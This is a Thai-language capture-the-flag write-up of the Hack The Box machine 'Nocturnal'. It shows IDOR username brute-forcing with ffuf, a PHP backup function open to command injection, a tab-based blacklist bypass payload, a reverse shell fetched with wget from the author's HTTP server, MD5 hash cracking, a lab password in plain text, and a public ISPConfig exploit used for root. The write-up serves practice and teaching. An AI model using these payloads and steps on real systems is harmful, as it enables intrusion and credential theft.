[HTB nocturnal write up]

Linux boot to root machine

Alt text

หลังจากกด Join Machine ก็ทำการ nmap ดู port ที่เปิดอยู่

┌──(kali㉿kali)-[~/Downloads/HTB]
└─$ nmap -sV -T5 10.10.11.64
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 09:37 +07
Warning: 10.10.11.64 giving up on port because retransmission cap hit (2).
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.29s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    nginx 1.18.0 (Ubuntu)
50300/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds

มี port 80 เปิดอยู่เลยทำการเข้าไปที่ url http://10.10.11.64/

Alt text

ให้นำ ip และ host นี้ไปเพิ่มไว้ใน /etc/hosts

10.10.11.64     nocturnal.htb

จากนั้นให้กลับไปดูที่หน้าเว็บ Alt text

จะเห็นว่าจะมีหน้าให้ login และ register อยู่ ผมเลยลองสมัครและทำการ login เข้าไปด้วย username กับ password ที่พึ่งได้สมัครไป Alt text จะเห็นว่าเว็บนี้เป็นเว็บสำหรับการ upload ไฟล์ ผมเลยลอง upload webshell ขึ้นไปดูเผื่อมันอัปได้555555 Alt text แล้วก็ตามรูปมันไม่รองรับไฟล์ php ไฟล์ที่รองรับมีตามรูป ผมเลยลองอัปไฟล์ที่เว็บรองรับขึ้นไปดูว่าถ้าอัปสำเร็จมันจะเป็นยังไง Alt text หลังจากผมอัปไฟล์ที่เว็บนี้รองรับขึ้นไปแล้ว จะเห็นว่า url ที่ใช้แสดงไฟล์ที่เราได้อัปไปนั้นมันจะประกอบด้วย 2 parameter ด้วยกันคือ username และ file ผมเลยคิดว่าแบบนี้เราน่าจะสามารถใช้ช่องโหว่ IDOR ได้ เลยลองเปลี่ยน uername เป็น admin Alt text จากผลลัพธ์ที่ได้ผมเลยลองเปลี่ยน username เป็นอย่างอื่นมั่วๆดูว่าผลลัพธ์จะได้แบบไหน Alt text จากผลลัพธ์ทั้งสองรูปจะได้ว่า ถ้า user ไหนไม่มีอยู่จริงจะขึ้นคำว่า User not found. ซึ่งผมจะใช้ช่องโหว่ IDOR นี้แหละในการหา user ที่มีอยู่โดยใช้ตัวของ ffuf ในการ brute force หา username

┌──(kali㉿kali)-[~/Downloads/HTB/Nocturnal]
└─$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.doc' -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=jrnr4sm5mbusnp119cvaqnqqos' -fw 1170

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=test.doc
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=jrnr4sm5mbusnp119cvaqnqqos
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1170
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 305ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 276ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 276ms]
:: Progress: [10177/10177] :: Job [1/1] :: 145 req/sec :: Duration: [0:01:13] :: Errors: 0 ::

ผมเลยลองเข้าไปดูในแต่ละ username ซึ่ง username ที่มีไฟล์ให้ dowload คือ amanda Alt text หลังจาก dowload มาก็ทำการแตกไฟล์และสำรวจไฟล์ต่างๆ ซึ่งเราจะได้ password ของ amanda มาจากไฟล์ content.xml Alt text ให้นำ password นี้ไป login โดยใช้ username เป็น amanda ในหน้าเว็บ Alt text พอเข้ามาแล้วจะมีปุ่ม Go to admin panel ซึ่งจะได้ว่า user amanda เป็น admin นั่นเอง Alt text หลังจากเข้ามาในหน้า admin จะมีไฟล์ source code ของหน้าต่างๆให้ดู และมีฟังก์ชันสำหรับการสร้าง backup ไฟล์โดยให้สร้าง password เพื่อใช้ password นี้ในการเข้ารหัสไฟล์ zip ของ backup ไฟล์

หลังจากนั่งงมอยู่นานจะผมก็ได้รู้ว่าในหน้านี้มีช่องโหว่ (ก็คือผมก็อป source code ไปให้ chat ดูนั่นแหละ😅)

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

โดยจากโค้ดสร้างไฟล์ backup โดยการใส่ password ในหน้า admin มันมีช่องโหว่ที่ทำให้เกิด Command Injection ได้ เพราะในโค้ดนี้ได้มีการนำตัวแปร password ไปต่อกับคำสั่ง shell โดยตรง แต่ว่าตัวแปร password อันนี้มันจะไปเข้าฟังก์ชัน cleanEntry() ก่อนนำมาใช้

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

ซึ่งในฟังก์ชัน cleanEntry() มันจะ filter ตัวอักษรบางส่วนที่อาจทำให้เกิด command injection ได้ แต่มันก็ยังกรองไม่หมดอยู่ดี โดยคำสั่งที่สามารถ bypass เข้าไปได้คือ

bash    -c    "whoami"

ซึ่งช่องว่างนี้เราจะใช้ tab แทน space ธรรมดาเพราะว่า space ธรรมดามันอยู่ใน blacklist ผมเลยจะใช้ burp ในการส่ง payload นี้และดูผลลัพธ์จาก response

ซึ่งถ้าส่ง payload ไปมันจะถูก encode ด้วย url encode ดังนั้น payload ที่ใช้ก็จะเป็น

bash%09-c%09"whoami"

โดย %09 ก็คือ tab นั่นแหละ Alt text จะเห็นจาก response ว่ามีการตอบกลับมาเป็น www-data แสดงว่าเราใช้ command injection ได้ ผมเลยจะทำการอัป php reverse shell เข้าไปเพื่อจะให้ตัวเว็บ server connect กลับมาที่เครื่องผม โดยเริ่มแรกให้เครื่องเราเปิด port ไว้รอ

┌──(kali㉿kali)-[~/Downloads/HTB/Nocturnal]
└─$ nc -lvnp 9001                                                                                                        
listening on [any] 9001 ...

และในอีก tab นึงให้เปิด server python ไว้เพื่อให้ web server เหยื่อได้ทำการโหลด shell ของเราไป

┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

จากนั้นใน burp ให้ใช้คำสั่ง wget เพื่อให้เหยื่อโหลด shell ไปที่เครื่อง Alt text จากรูปจะได้ว่าได้ทำการ download สำเร็จแล้ว ที่เหลือเราก็แค่เข้าไปที่ url http://nocturnal.htb/php-reverse-shell.php เพื่อทำการ execute ตัว reverse shell ที่เราพึ่งอัปขึ้นไป Alt text จากนั้นผมก็ได้ไปเจอไฟล์ nocturnal_database.db ที่ path /var/www/nocturnal_database ก็เลยทำการโหลดมาไว้ที่เครื่องแล้วเปิดดู Alt text จะเห็นว่ามี table users อยู่ผมเลยลอง select ออกมาดูเนื้อหาทำให้เราเห็น password ของ user ทั้งหมดผมเลยเอาไปเข้า crackstation เพื่อ crack password MD5 Alt text จะเห็นว่ามีอยู่หลาย password เลยที่ crack ได้ผมเลยลอง ssh เข้าไปที่ user tobias ก่อนด้วย password slowmotionapocalypse Alt text แล้วก็บู้มได้ user flag แล้ววว แต่ยังไม่จบยังเหลือ root flag อีก

ผมทำการใช้ตัว linpeas.sh เหมือนเดิมในการ enum หาช่องโหว่ที่จะใช้ในการยกสิทธิ์ได้ โดยผมทำการ deploy ไฟล์ linpeas.sh จากเครื่องผมไปที่เครื่องเหยื่อ (อันนี้ก็เหมือนเดิมเปิดเซิฟที่เครื่องเราและใช้ wget ในเครื่องเหยื่อเพื่อโหลดไฟล์) และจากนั้นใช้คำสั่ง

./linpeas.sh > result.txt

เพื่อรันและเก็บผลลัพธ์ไว้ในไฟล์ result.txt Alt text หลังจากดูผลลัพธ์จาก linpeas.sh ไปเรื่อยๆผมก็ไปเจอกับส่วน netstat ที่มี port เปิดอยู่เยอะผมเลยคาดว่ามันน่าจะมี service ที่มีช่องโหว่แน่ๆผมเลยใช้คำสั่ง

ssh -L <port>:localhost:<port> <user>@<host>

โดย port แรกที่ผมเข้าไปคือ port 8080 เพราะดูน่าจะมีอะไรสุด🤓 และให้เข้าไปที่ url http://127.0.0.1:8080/ Alt text จะเจอเข้ากับหน้า login ผมเลยลอง login ด้วย user tobias และ password slowmotionapocalypse แต่ก็ไม่ได้ 🥲 ผมลองใช้ทุก username กับ password ที่ได้จากไฟล์ database แล้วก็ยังไม่ได้ ซึ่งในทีนี้ผมขอยอมรับเลยว่าไปดูคำใบ้มา แล้วเขาบอกว่าให้ใช้ username เป็น admin ผมเลยใช้ username admin และ password เป็น slowmotionapocalypse ดูสรุปได้เฉย Alt text หลังจากเข้ามาก็ทำการไปที่หน้า help มันจะแสดงเวอร์ชั่นของตัว ispconfig นี้อยู่ผมเลยลองเอาเวอร์ชั่นนี้ไป search หาช่องโหว่ดู Alt text CVE-2023-46818 Python Exploit

แล้วก็เจอจริงๆพร้อมโค้ด exploit แล้วจากนั้นก็โหลดโค้ด exploit มาใช้ได้เลย Alt text

ได้ root flag แล้วววว🥳

ก็จบไปแล้วนะครับสำหรับข้อนี้ ส่วนตัวรู้สึกว่าข้อนี้ไม่ค่อยยากและข้อนี้จะฝึกเราในเรื่องของช่องโหว่ IDOR และ Command Injection ทำให้ได้รู้การเขียนโค้ดที่ปลอดภัยมากขึ้นครับ 🤓

[RELATED POSTS]